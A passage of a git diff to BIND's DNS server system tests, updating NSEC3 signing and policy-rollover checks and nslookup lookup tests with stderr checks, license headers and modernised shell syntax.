+_check_nsec3_nxdomain() {
 	dig_with_opts @$SERVER "nosuchname.${ZONE}" > "dig.out.test$n.nxdomain.$ZONE" || return 1
 	grep ".*\.${ZONE}.*IN.*NSEC3.*1.${FLAGS}.*${ITERATIONS}.*${SALT}" "dig.out.test$n.nxdomain.$ZONE" > /dev/null || return 1
 	return 0
 }
 
-check_nsec3()
-{
+check_nsec3() {
+	wait_for_zone_is_signed "nsec3"
+
 	n=$((n+1))
 	echo_i "check that NSEC3PARAM 1 0 ${ITERATIONS} is published zone ${ZONE} ($n)"
 	ret=0
@@ -144,185 +218,376 @@ check_nsec3()
 	retry_quiet 10 _check_nsec3_nxdomain || log_error "bad NXDOMAIN response for zone ${ZONE}"
 	test "$ret" -eq 0 || echo_i "failed"
 	status=$((status+ret))
+
+	n=$((n+1))
+	echo_i "verify DNSSEC for zone ${ZONE} ($n)"
+	ret=0
+	retry_quiet 10 _check_dnssec_verify || log_error "DNSSEC verify failed for zone ${ZONE}"
+	test "$ret" -eq 0 || echo_i "failed"
+	status=$((status+ret))
 }
 
 start_time="$(TZ=UTC date +%s)"
 status=0
 n=0
 
+key_clear "KEY1"
+key_clear "KEY2"
+key_clear "KEY3"
+key_clear "KEY4"
+
 # Zone: nsec-to-nsec3.kasp.
-set_zone_policy "nsec-to-nsec3.kasp" "nsec"
+set_zone_policy "nsec-to-nsec3.kasp" "nsec" 1 3600
 set_server "ns3" "10.53.0.3"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec
-dnssec_verify
+
+if ($SHELL ../testcrypto.sh -q RSASHA1)
+then
+	# Zone: rsasha1-to-nsec3.kasp.
+	set_zone_policy "rsasha1-to-nsec3.kasp" "rsasha1" 1 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	echo_i "initial check zone ${ZONE}"
+	check_nsec
+
+	# Zone: rsasha1-to-nsec3-wait.kasp.
+	set_zone_policy "rsasha1-to-nsec3-wait.kasp" "rsasha1" 1 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	set_key_states "KEY1" "omnipresent" "omnipresent" "omnipresent" "omnipresent" "omnipresent"
+	echo_i "initial check zone ${ZONE}"
+	check_nsec
+
+	# Zone: nsec3-to-rsasha1.kasp.
+	set_zone_policy "nsec3-to-rsasha1.kasp" "nsec3" 1 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	echo_i "initial check zone ${ZONE}"
+	check_nsec3
+
+	# Zone: nsec3-to-rsasha1-ds.kasp.
+	set_zone_policy "nsec3-to-rsasha1-ds.kasp" "nsec3" 1 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	set_key_states "KEY1" "omnipresent" "omnipresent" "omnipresent" "omnipresent" "omnipresent"
+	echo_i "initial check zone ${ZONE}"
+	check_nsec3
+fi
 
 # Zone: nsec3.kasp.
-set_zone_policy "nsec3.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-dynamic.kasp.
-set_zone_policy "nsec3-dynamic.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-dynamic.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-change.kasp.
-set_zone_policy "nsec3-change.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-change.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
+
+# Test that NSEC3PARAM TTL is equal to SOA MINIMUM.
+n=$((n+1))
+echo_i "check TTL of NSEC3PARAM in zone $ZONE is equal to SOA MINIMUM ($n)"
+ret=0
+dig_with_opts +noquestion "@${SERVER}" "$ZONE" NSEC3PARAM > "dig.out.test$n" || ret=1
+grep "${ZONE}\..*3600.*IN.*NSEC3PARAM" "dig.out.test$n" > /dev/null || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+# Update SOA MINIMUM.
+cp "${DIR}/template2.db.in" "${DIR}/${ZONE}.db"
+rndccmd $SERVER reload $ZONE > rndc.reload.test$n.$ZONE || log_error "failed to call rndc reload $ZONE"
+_wait_for_new_soa() {
+	dig_with_opts +noquestion "@${SERVER}" "$ZONE" SOA > "dig.out.soa.test$n" || return 1
+	grep "${ZONE}\..*IN.*SOA.*mname1..*..*20.*20.*.1814400.*900" "dig.out.soa.test$n" > /dev/null || return 1
+}
+retry_quiet 10 _wait_for_new_soa || log_error "failed to update SOA record in zone $ZONE"
 
 # Zone: nsec3-dynamic-change.kasp.
-set_zone_policy "nsec3-dynamic-change.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-dynamic-change.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
+echo_i "initial check zone ${ZONE}"
+check_nsec3
+
+# Zone: nsec3-dynamic-to-inline.kasp.
+set_zone_policy "nsec3-dynamic-to-inline.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
+echo_i "initial check zone ${ZONE}"
+check_nsec3
+
+# Zone: nsec3-inline-to-dynamic.kasp.
+set_zone_policy "nsec3-inline-to-dynamic.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-to-nsec.kasp.
-set_zone_policy "nsec3-to-nsec.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-to-nsec.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-to-optout.kasp.
-set_zone_policy "nsec3-to-optout.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-to-optout.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-from-optout.kasp.
-set_zone_policy "nsec3-from-optout.kasp" "optout"
-set_nsec3param "1" "5" "8"
+set_zone_policy "nsec3-from-optout.kasp" "optout" 1 3600
+set_nsec3param "1" "0" "0"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-other.kasp.
-set_zone_policy "nsec3-other.kasp" "nsec3-other"
-set_nsec3param "1" "11" "0"
+set_zone_policy "nsec3-other.kasp" "nsec3-other" 1 3600
+set_nsec3param "1" "11" "8"
+set_key_default_values "KEY1"
 echo_i "initial check zone ${ZONE}"
 check_nsec3
-dnssec_verify
+
+# Zone: nsec3-xfr-inline.kasp.
+# This is a secondary zone, where the primary is signed with NSEC3 but
+# the dnssec-policy dictates NSEC.
+set_zone_policy "nsec3-xfr-inline.kasp" "nsec" 1 3600
+set_key_default_values "KEY1"
+echo_i "initial check zone ${ZONE}"
+check_nsec
+
+# Zone: nsec3-dynamic-update-inline.kasp.
+set_zone_policy "nsec3-dynamic-update-inline.kasp" "nsec" 1 3600
+set_key_default_values "KEY1"
+echo_i "initial check zone ${ZONE}"
+check_nsec
+
+n=$((n+1))
+echo_i "dynamic update dnssec-policy zone ${ZONE} with NSEC3 ($n)"
+ret=0
+$NSUPDATE > update.out.$ZONE.test$n 2>&1 << END || ret=1
+server 10.53.0.3 ${PORT}
+zone ${ZONE}.
+update add 04O18462RI5903H8RDVL0QDT5B528DUJ.${ZONE}. 3600 NSEC3 0 0 0 408A4B2D412A4E95 1JMDDPMTFF8QQLIOINSIG4CR9OTICAOC A RRSIG
+send
+END
+wait_for_log 10 "updating zone '${ZONE}/IN': update failed: explicit NSEC3 updates are not allowed in secure zones (REFUSED)" ns3/named.run || ret=1
+check_nsec
 
 # Reconfig named.
+ret=0
 echo_i "reconfig dnssec-policy to trigger nsec3 rollovers"
-copy_setports ns3/named2.conf.in ns3/named.conf
+if ! ($SHELL ../testcrypto.sh -q RSASHA1)
+then
+    copy_setports ns3/named2-fips.conf.in ns3/named.conf
+else
+    copy_setports ns3/named2-fips.conf.in ns3/named-fips.conf
+    # includes named-fips.conf
+    cp ns3/named2.conf.in ns3/named.conf
+fi
 rndc_reconfig ns3 10.53.0.3
 
-
 # Zone: nsec-to-nsec3.kasp. (reconfigured)
-set_zone_policy "nsec-to-nsec3.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec-to-nsec3.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
+
+if ($SHELL ../testcrypto.sh -q RSASHA1)
+then
+	# Zone: rsasha1-to-nsec3.kasp.
+	set_zone_policy "rsasha1-to-nsec3.kasp" "nsec3" 2 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	set_key_states "KEY1" "hidden" "unretentive" "unretentive" "unretentive" "hidden"
+	set_keysigning  "KEY1" "no"
+	set_zonesigning "KEY1" "no"
+	set_key_default_values "KEY2"
+	echo_i "check zone ${ZONE} after reconfig"
+	check_nsec3
+
+	# Zone: rsasha1-to-nsec3-wait.kasp.
+	set_zone_policy "rsasha1-to-nsec3-wait.kasp" "nsec3" 2 3600
+	set_server "ns3" "10.53.0.3"
+	set_key_rsasha1_values "KEY1"
+	set_key_states "KEY1" "hidden" "omnipresent" "omnipresent" "omnipresent" "omnipresent"
+	set_key_default_values "KEY2"
+	echo_i "check zone ${ZONE} after reconfig"
+	check_nsec
+
+	# Zone: nsec3-to-rsasha1.kasp.
+	set_zone_policy "nsec3-to-rsasha1.kasp" "rsasha1" 2 3600
+	set_nsec3param "1" "0" "0"
+	set_server "ns3" "10.53.0.3"
+	set_key_default_values "KEY1"
+	set_key_states  "KEY1" "hidden" "unretentive" "unretentive" "unretentive" "hidden"
+	set_keysigning  "KEY1" "no"
+	set_zonesigning "KEY1" "no"
+	set_key_rsasha1_values "KEY2"
+	echo_i "check zone ${ZONE} after reconfig"
+	check_nsec
+
+	# Zone: nsec3-to-rsasha1-ds.kasp.
+	set_zone_policy "nsec3-to-rsasha1-ds.kasp" "rsasha1" 2 3600
+	set_nsec3param "1" "0" "0"
+	set_server "ns3" "10.53.0.3"
+	set_key_default_values "KEY1"
+	set_key_states "KEY1" "hidden" "omnipresent" "omnipresent" "omnipresent" "omnipresent"
+	set_key_rsasha1_values "KEY2"
+	echo_i "check zone ${ZONE} after reconfig"
+	check_nsec
+
+	key_clear "KEY1"
+	key_clear "KEY2"
+fi
 
 # Zone: nsec3.kasp. (same)
-set_zone_policy "nsec3.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-dyamic.kasp. (same)
-set_zone_policy "nsec3-dynamic.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3-dynamic.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
 
 # Zone: nsec3-change.kasp. (reconfigured)
-set_zone_policy "nsec3-change.kasp" "nsec3-other"
-set_nsec3param "1" "11" "0"
+set_zone_policy "nsec3-change.kasp" "nsec3-other" 1 3600
+set_nsec3param "1" "11" "8"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
+
+# Test that NSEC3PARAM TTL is equal to new SOA MINIMUM.
+n=$((n+1))
+echo_i "check TTL of NSEC3PARAM in zone $ZONE is updated after SOA MINIMUM changed ($n)"
+ret=0
+# Check NSEC3PARAM TTL.
+dig_with_opts +noquestion "@${SERVER}" "$ZONE" NSEC3PARAM > "dig.out.nsec3param.test$n" || ret=1
+grep "${ZONE}\..*900.*IN.*NSEC3PARAM" "dig.out.nsec3param.test$n" > /dev/null || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
 
 # Zone: nsec3-dynamic-change.kasp. (reconfigured)
-set_zone_policy "nsec3-dynamic-change.kasp" "nsec3-other"
-set_nsec3param "1" "11" "0"
+set_zone_policy "nsec3-dynamic-change.kasp" "nsec3-other" 1 3600
+set_nsec3param "1" "11" "8"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
+
+# Zone: nsec3-dynamic-to-inline.kasp. (same)
+set_zone_policy "nsec3-dynamic-to-inline.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
+echo_i "check zone ${ZONE} after reconfig"
+check_nsec3
+
+# Zone: nsec3-inline-to-dynamic.kasp. (same)
+set_zone_policy "nsec3-inline-to-dynamic.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
+echo_i "initial check zone ${ZONE}"
+check_nsec3
 
 # Zone: nsec3-to-nsec.kasp. (reconfigured)
-set_zone_policy "nsec3-to-nsec.kasp" "nsec"
-set_nsec3param "1" "11" "0"
+set_zone_policy "nsec3-to-nsec.kasp" "nsec" 1 3600
+set_nsec3param "1" "11" "8"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec
-dnssec_verify
 
 # Zone: nsec3-to-optout.kasp. (reconfigured)
 # DISABLED:
 # There is a bug in the nsec3param building code that thinks when the
 # optout bit is changed, the chain already exists. [GL #2216]
-#set_zone_policy "nsec3-to-optout.kasp" "optout"
-#set_nsec3param "1" "5" "8"
+#set_zone_policy "nsec3-to-optout.kasp" "optout" 1 3600
+#set_nsec3param "1" "0" "0"
+#set_key_default_values "KEY1"
 #echo_i "check zone ${ZONE} after reconfig"
 #check_nsec3
-#dnssec_verify
 
 # Zone: nsec3-from-optout.kasp. (reconfigured)
 # DISABLED:
 # There is a bug in the nsec3param building code that thinks when the
 # optout bit is changed, the chain already exists. [GL #2216]
-#set_zone_policy "nsec3-from-optout.kasp" "nsec3"
-#set_nsec3param "0" "5" "8"
+#set_zone_policy "nsec3-from-optout.kasp" "nsec3" 1 3600
+#set_nsec3param "0" "0" "0"
+#set_key_default_values "KEY1"
 #echo_i "check zone ${ZONE} after reconfig"
 #check_nsec3
-#dnssec_verify
 
 # Zone: nsec3-other.kasp. (same)
-set_zone_policy "nsec3-other.kasp" "nsec3-other"
-set_nsec3param "1" "11" "0"
+set_zone_policy "nsec3-other.kasp" "nsec3-other" 1 3600
+set_nsec3param "1" "11" "8"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} after reconfig"
 check_nsec3
-dnssec_verify
 
 # Using rndc signing -nsec3param (should fail)
-set_zone_policy "nsec3-change.kasp" "nsec3-other"
+set_zone_policy "nsec3-change.kasp" "nsec3-other" 1 3600
 echo_i "use rndc signing -nsec3param ${ZONE} to change NSEC3 settings"
 rndccmd $SERVER signing -nsec3param 1 1 12 ffff $ZONE > rndc.signing.test$n.$ZONE || log_error "failed to call rndc signing -nsec3param $ZONE"
 grep "zone uses dnssec-policy, use rndc dnssec command instead" rndc.signing.test$n.$ZONE > /dev/null || log_error "rndc signing -nsec3param should fail"
 check_nsec3
-dnssec_verify
 
 # Test NSEC3 and NSEC3PARAM is the same after restart
-set_zone_policy "nsec3.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 echo_i "check zone ${ZONE} before restart"
 check_nsec3
-dnssec_verify
 
 # Restart named, NSEC3 should stay the same.
 ret=0
 echo "stop ns3"
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} nsec3 ${DIR} || ret=1
+stop_server --use-rndc --port ${CONTROLPORT} ${DIR} || ret=1
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
 ret=0
 echo "start ns3"
-start_server --noclean --restart --port ${PORT} nsec3 ${DIR}
+start_server --noclean --restart --port ${PORT} ${DIR}
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
 prevsalt="${SALT}"
-set_zone_policy "nsec3.kasp" "nsec3"
-set_nsec3param "0" "5" "8"
+set_zone_policy "nsec3.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
 SALT="${prevsalt}"
 echo_i "check zone ${ZONE} after restart has salt ${SALT}"
 check_nsec3
-dnssec_verify
+
+# Zone: nsec3-fails-to-load.kasp. (should be fixed after reload)
+cp ns3/template.db.in ns3/nsec3-fails-to-load.kasp.db
+rndc_reload ns3 10.53.0.3
+
+set_zone_policy "nsec3-fails-to-load.kasp" "nsec3" 1 3600
+set_nsec3param "0" "0" "0"
+set_key_default_values "KEY1"
+echo_i "check zone ${ZONE} after reload"
+check_nsec3
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/nsec3/tests_sh_nsec3.py b/bin/tests/system/nsec3/tests_sh_nsec3.py
new file mode 100644
index 0000000000..16df54112d
--- /dev/null
+++ b/bin/tests/system/nsec3/tests_sh_nsec3.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_nsec3(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/nslookup/clean.sh b/bin/tests/system/nslookup/clean.sh
index 55023debb9..dc0c70d64e 100644
--- a/bin/tests/system/nslookup/clean.sh
+++ b/bin/tests/system/nslookup/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -9,6 +13,7 @@
 
 rm -f ns1/example.db
 rm -f nslookup.out*
+rm -f nslookup.err*
 rm -f ns*/named.lock
 rm -f ns*/named.memstats
 rm -f ns*/named.run
diff --git a/bin/tests/system/nslookup/ns1/example.net.db b/bin/tests/system/nslookup/ns1/example.net.db
index e9c133b87b..73aeeb1e34 100644
--- a/bin/tests/system/nslookup/ns1/example.net.db
+++ b/bin/tests/system/nslookup/ns1/example.net.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nslookup/ns1/named.conf.in b/bin/tests/system/nslookup/ns1/named.conf.in
index bc44f5788f..8338a9cb82 100644
--- a/bin/tests/system/nslookup/ns1/named.conf.in
+++ b/bin/tests/system/nslookup/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "example" {
diff --git a/bin/tests/system/nslookup/setup.sh b/bin/tests/system/nslookup/setup.sh
index 054c293de3..67d3ccf642 100644
--- a/bin/tests/system/nslookup/setup.sh
+++ b/bin/tests/system/nslookup/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/nslookup/tests.sh b/bin/tests/system/nslookup/tests.sh
index c5c89c569e..da11016c56 100644
--- a/bin/tests/system/nslookup/tests.sh
+++ b/bin/tests/system/nslookup/tests.sh
@@ -1,109 +1,143 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
+# shellcheck disable=SC2086
 . ../conf.sh
 
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "Check that domain names that are too big when applying a search list entry are handled cleanly ($n)"
 ret=0
 l=012345678901234567890123456789012345678901234567890123456789012
 t=0123456789012345678901234567890123456789012345678901234567890
 d=$l.$l.$l.$t
-$NSLOOKUP -port=${PORT} -domain=$d -type=soa example 10.53.0.1 > nslookup.out${n} || ret=1
+$NSLOOKUP -port=${PORT} -domain=$d -type=soa example 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
 grep "origin = ns1.example" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check A only lookup"
+n=$((n+1))
+echo_i "Check A only lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} a-only.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep a-only.example.net nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
+$NSLOOKUP -port=${PORT} a-only.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c a-only.example.net nslookup.out${n})
+test $lines -eq 1 || ret=1
 grep "1.2.3.4" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check AAAA only lookup"
+n=$((n+1))
+echo_i "Check AAAA only lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} aaaa-only.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep aaaa-only.example.net nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
+$NSLOOKUP -port=${PORT} aaaa-only.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c aaaa-only.example.net nslookup.out${n})
+test $lines -eq 1 || ret=1
 grep "2001::ffff" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check dual A + AAAA lookup"
+n=$((n+1))
+echo_i "Check dual A + AAAA lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} dual.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep dual.example.net nslookup.out${n} | wc -l`
-test $lines = 2 || ret=1
+$NSLOOKUP -port=${PORT} dual.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c dual.example.net nslookup.out${n})
+test $lines -eq 2 || ret=1
 grep "1.2.3.4" nslookup.out${n} > /dev/null || ret=1
 grep "2001::ffff" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check CNAME to A only lookup"
+n=$((n+1))
+echo_i "Check CNAME to A only lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} cname-a-only.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep "canonical name" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep a-only.example.net nslookup.out${n} | grep -v "canonical name" | wc -l`
-test $lines = 1 || ret=1
+$NSLOOKUP -port=${PORT} cname-a-only.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "canonical name" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep a-only.example.net nslookup.out${n} | grep -cv "canonical name")
+test $lines -eq 1 || ret=1
 grep "1.2.3.4" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check CNAME to AAAA only lookup"
+n=$((n+1))
+echo_i "Check CNAME to AAAA only lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} cname-aaaa-only.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep "canonical name" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep aaaa-only.example.net nslookup.out${n} | grep -v "canonical name" |wc -l`
-test $lines = 1 || ret=1
+$NSLOOKUP -port=${PORT} cname-aaaa-only.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "canonical name" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep aaaa-only.example.net nslookup.out${n} | grep -cv "canonical name")
+test $lines -eq 1 || ret=1
 grep "2001::ffff" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
-echo_i "Check CNAME to dual A + AAAA lookup"
+n=$((n+1))
+echo_i "Check CNAME to dual A + AAAA lookup ($n)"
 ret=0
-$NSLOOKUP -port=${PORT} cname-dual.example.net 10.53.0.1 > nslookup.out${n} || ret=1
-lines=`grep "Server:" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep "canonical name" nslookup.out${n} | wc -l`
-test $lines = 1 || ret=1
-lines=`grep dual.example.net nslookup.out${n} | grep -v "canonical name" | wc -l`
-test $lines = 2 || ret=1
+$NSLOOKUP -port=${PORT} cname-dual.example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(wc -l < nslookup.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Server:" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "canonical name" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep dual.example.net nslookup.out${n} | grep -cv "canonical name")
+test $lines -eq 2 || ret=1
 grep "1.2.3.4" nslookup.out${n} > /dev/null || ret=1
 grep "2001::ffff" nslookup.out${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
+
+n=$((n+1))
